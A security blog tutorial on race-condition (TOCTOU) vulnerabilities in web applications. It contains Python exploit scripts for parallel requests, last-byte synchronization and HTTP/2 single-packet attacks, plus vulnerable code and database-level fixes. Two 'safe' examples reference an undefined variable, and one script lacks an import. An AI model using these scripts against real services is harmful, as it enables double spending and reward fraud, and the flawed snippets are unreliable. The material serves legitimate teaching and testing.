Race Conditions in Web Applications: Exploiting Time-of-Check to Time-of-Use
Every web application makes assumptions about the order in which things happen. A user submits a coupon, the server checks if it has been used, marks it as used, and applies the discount. A straightforward sequence — check, then act. But what happens when two requests execute that sequence at the same time?
Race conditions are among the most underestimated vulnerabilities in web security. They do not require injecting payloads, crafting malicious input, or exploiting memory corruption. They require only timing. And with modern HTTP capabilities, timing is something an attacker can control with surprising precision.
What Is a TOCTOU Vulnerability?
TOCTOU — Time-of-Check to Time-of-Use — describes a class of race condition where there is a gap between verifying a condition and acting on it. The application checks that a precondition is true, then proceeds to take action based on that assumption. The vulnerability exists because the precondition can change between the check and the action.
In sequential processing, this is not a problem. Request A checks, acts, and completes. Request B arrives, checks, and sees the updated state. But web servers handle requests concurrently. If requests A and B arrive at the same moment, both can execute the check before either has completed the action.
Timeline (sequential — safe):
Request A: [CHECK: coupon valid] → [USE: mark coupon used] → [APPLY: discount]
Request B: [CHECK: coupon already used] → [REJECT]
Timeline (concurrent — vulnerable):
Request A: [CHECK: coupon valid] ——————→ [USE: mark coupon used] → [APPLY: discount]
Request B: [CHECK: coupon valid] ——————→ [USE: mark coupon used] → [APPLY: discount]
Both requests see the coupon as valid. Both apply the discount. The business logic assumed sequential execution, but the server delivered concurrent execution.
Where Race Conditions Appear
Race conditions manifest wherever an application separates validation from action. The following patterns appear regularly in assessments.
Coupon and Promo Code Redemption
The most common and most easily demonstrated race condition target. The application checks whether a code has been redeemed, then marks it as redeemed and applies the benefit. Two parallel requests both pass the check and both receive the discount.
This extends to referral bonuses, sign-up credits, loyalty point conversions, and any one-time-use reward mechanism.
Balance and Quantity Manipulation
Financial operations that follow a read-modify-write pattern are inherently vulnerable. The application reads the current balance, verifies it is sufficient, subtracts the amount, and writes the new balance. Two simultaneous withdrawal requests can both read the original balance, both pass the sufficiency check, and both subtract — resulting in a negative balance or double expenditure.
The same pattern applies to inventory systems, voting mechanisms, and any counter that should only decrement once per action.
Rate Limit Bypass
Rate limiting typically works by counting previous attempts before allowing a new one. If the counter is checked and incremented in separate operations, parallel requests can all pass the check before any of them increment the counter.
This is particularly impactful on authentication endpoints (brute-forcing passwords), SMS verification (draining SMS credits), and password reset flows (flooding a target's inbox).
One-Time Token Consumption
Password reset tokens, email verification links, and invitation codes are designed to be used exactly once. The application checks if the token exists and is unused, performs the action, then invalidates the token. Parallel requests can all use the token before it is invalidated.
Exploitation Techniques
Triggering a race condition requires hitting the vulnerable window — the gap between check and use. The narrower the window, the more precisely timed the requests need to be.
Parallel HTTP Requests
The simplest approach is sending multiple requests simultaneously. Most HTTP libraries and scripting environments can dispatch requests in parallel across multiple threads or connections.
import threading
import requests
url = "https://target.example/api/redeem"
headers = {"Authorization": "Bearer <token>"}
payload = {"code": "PROMO50"}
def send_request():
response = requests.post(url, json=payload, headers=headers)
print(f"Status: {response.status_code}, Body: {response.text[:100]}")
threads = [threading.Thread(target=send_request) for _ in range(20)]
for t in threads:
t.start()
for t in threads:
t.join()This works when the race window is wide — when the server takes significant time between check and use, typically due to database round-trips or external API calls. But network jitter means requests arrive at slightly different times, and many will miss the window.
Last-Byte Synchronization
A more reliable technique exploits how HTTP connections work. The attacker opens multiple connections to the server and sends the complete request on each — except for the final byte. All connections are held open, request data buffered on the server side. Then, the attacker sends the final byte on all connections simultaneously.
Because the server has already received and buffered the request data, the final byte triggers immediate processing. The requests begin execution within microseconds of each other, dramatically increasing the chance of hitting even narrow race windows.
import socket
import ssl
import threading
import time
HOST = "target.example"
PORT = 443
request_body = '{"code": "PROMO50"}'
request = (
f"POST /api/redeem HTTP/1.1\r\n"
f"Host: {HOST}\r\n"
f"Content-Type: application/json\r\n"
f"Authorization: Bearer <token>\r\n"
f"Content-Length: {len(request_body)}\r\n"
f"\r\n"
f"{request_body[:-1]}" # Everything except the last byte
)
last_byte = request_body[-1].encode()
connections = []
for _ in range(20):
sock = socket.create_connection((HOST, PORT))
context = ssl.create_default_context()
wrapped = context.wrap_socket(sock, server_hostname=HOST)
wrapped.send(request.encode())
connections.append(wrapped)
# Small delay to ensure all connections are established
time.sleep(0.5)
# Release the last byte on all connections simultaneously
def release(conn):
conn.send(last_byte)
response = conn.recv(4096)
print(response.decode()[:200])
threads = [threading.Thread(target=release, args=(c,)) for c in connections]
for t in threads:
t.start()
for t in threads:
t.join()HTTP/2 Single-Packet Attack
HTTP/2 multiplexing allows sending multiple requests over a single TCP connection in a single packet. The server receives all requests at once and processes them in parallel. This eliminates network jitter entirely, as the requests are not just synchronized — they are physically bundled.
import httpx
async def race():
async with httpx.AsyncClient(http2=True) as client:
requests = [
client.post(
"https://target.example/api/redeem",
json={"code": "PROMO50"},
headers={"Authorization": "Bearer <token>"}
)
for _ in range(20)
]
responses = await asyncio.gather(*requests)
for r in responses:
print(r.status_code, r.text[:100])This is the most reliable technique against modern infrastructure. HTTP/2 is widely deployed, and the single-packet delivery guarantees simultaneous arrival.
Vulnerable Code Patterns
Understanding the code patterns that create race conditions makes both exploitation and remediation clearer.
The Read-Check-Write Anti-Pattern
# VULNERABLE: read-check-write with no locking
def redeem_coupon(user_id, coupon_code):
coupon = db.query("SELECT * FROM coupons WHERE code = %s", coupon_code)
if coupon.used:
return {"error": "Coupon already used"}
if coupon.expired_at < now():
return {"error": "Coupon expired"}
# Window of vulnerability: coupon is valid but not yet marked as used
db.execute("UPDATE coupons SET used = TRUE, used_by = %s WHERE code = %s",
user_id, coupon_code)
apply_discount(user_id, coupon.discount_amount)
return {"success": "Discount applied"}Between the SELECT and the UPDATE, another request can execute the same SELECT and see the coupon as unused. Both proceed to apply the discount.
The Balance Check Anti-Pattern
# VULNERABLE: separate read and write for balance operations
def withdraw(user_id, amount):
balance = db.query("SELECT balance FROM accounts WHERE user_id = %s", user_id)
if balance < amount:
return {"error": "Insufficient funds"}
# Race window: balance checked but not yet updated
new_balance = balance - amount
db.execute("UPDATE accounts SET balance = %s WHERE user_id = %s",
new_balance, user_id)
return {"success": f"Withdrew {amount}, new balance: {new_balance}"}Two simultaneous withdrawals of 500 from a balance of 800. Both read 800, both pass the check, both write 300. The user withdraws 1000 from an 800 balance.
Database-Level Fixes
Application-level locks (mutexes, semaphores) do not work in distributed environments where multiple application instances run behind a load balancer. The fix must be at the database level, where all instances converge.
SELECT FOR UPDATE
Row-level locking prevents concurrent reads of the same row during a transaction. The first transaction to reach the row acquires the lock; subsequent transactions block until the lock is released.
# SAFE: SELECT FOR UPDATE acquires a row lock
def redeem_coupon(user_id, coupon_code):
with db.transaction():
coupon = db.query(
"SELECT * FROM coupons WHERE code = %s FOR UPDATE",
coupon_code
)
if coupon.used:
return {"error": "Coupon already used"}
db.execute(
"UPDATE coupons SET used = TRUE, used_by = %s WHERE code = %s",
user_id, coupon_code
)
apply_discount(user_id, coupon.discount_amount)
return {"success": "Discount applied"}The second request blocks at the SELECT FOR UPDATE until the first transaction commits. When it resumes, it reads the updated state and sees the coupon is already used.
Atomic UPDATE with WHERE Clause
Instead of reading, checking, and writing as separate operations, combine the check and write into a single atomic statement.
# SAFE: atomic update — check and write in one operation
def redeem_coupon(user_id, coupon_code):
rows_affected = db.execute(
"UPDATE coupons SET used = TRUE, used_by = %s "
"WHERE code = %s AND used = FALSE AND expired_at > NOW()",
user_id, coupon_code
)
if rows_affected == 0:
return {"error": "Coupon invalid, already used, or expired"}
apply_discount(user_id, coupon.discount_amount)
return {"success": "Discount applied"}The database engine guarantees atomicity of a single UPDATE statement. Only one of the concurrent requests will match the WHERE clause and update the row; the others will affect zero rows.
Atomic Balance Operations
# SAFE: atomic decrement with balance check in WHERE clause
def withdraw(user_id, amount):
rows_affected = db.execute(
"UPDATE accounts SET balance = balance - %s "
"WHERE user_id = %s AND balance >= %s",
amount, user_id, amount
)
if rows_affected == 0:
return {"error": "Insufficient funds"}
return {"success": f"Withdrew {amount}"}The balance check and the decrement happen in the same atomic operation. The database ensures that only one transaction can modify the row at a time, and the WHERE clause prevents the balance from going negative.
Unique Constraints
For operations that should happen exactly once — token redemption, one-per-user actions — a unique database constraint provides a hard guarantee.
CREATE UNIQUE INDEX idx_redemptions_unique
ON redemptions (user_id, coupon_code);# SAFE: unique constraint prevents duplicate redemptions
def redeem_coupon(user_id, coupon_code):
try:
db.execute(
"INSERT INTO redemptions (user_id, coupon_code, redeemed_at) "
"VALUES (%s, %s, NOW())",
user_id, coupon_code
)
except UniqueViolation:
return {"error": "Coupon already redeemed"}
apply_discount(user_id, coupon.discount_amount)
return {"success": "Discount applied"}Even if twenty requests arrive simultaneously, the database will accept the first INSERT and reject the rest with a constraint violation.
Testing for Race Conditions
When assessing an application for race conditions, focus on:
- Any one-time-use mechanism — coupons, tokens, verification links, invitation codes
- Financial operations — transfers, withdrawals, purchases, point conversions
- Rate-limited actions — login attempts, OTP requests, password resets
- Resource claims — limited inventory, first-come allocations, unique username registration
For each target, send 20-50 parallel requests using one of the synchronization techniques described above. Compare the results: if multiple requests succeed where only one should, you have confirmed the race condition.
Vary the number of parallel requests and the synchronization method. Some race windows are wide enough that basic threading works; others require last-byte sync or HTTP/2 single-packet delivery. Test with both identical requests and requests with minimal variation to account for any deduplication logic.
Key Takeaways
Race conditions are not exotic. They appear wherever application logic separates validation from action — which is the default pattern in most web frameworks. The vulnerability is architectural, not a coding mistake. It exists because the code was written for sequential execution and deployed in a concurrent environment.
The exploitation is mechanical: send parallel requests, observe whether the constraint was bypassed. The synchronization techniques — last-byte sync, HTTP/2 multiplexing — make this reliable even against narrow windows.
The defenses are equally mechanical: move the constraint enforcement into the database layer where atomicity is guaranteed. SELECT FOR UPDATE, atomic UPDATE with WHERE clauses, and unique constraints eliminate the TOCTOU gap entirely. Application-level checks remain valuable for user experience — returning meaningful error messages — but they must not be the only line of defense.
Need your application tested for race conditions? Get in touch.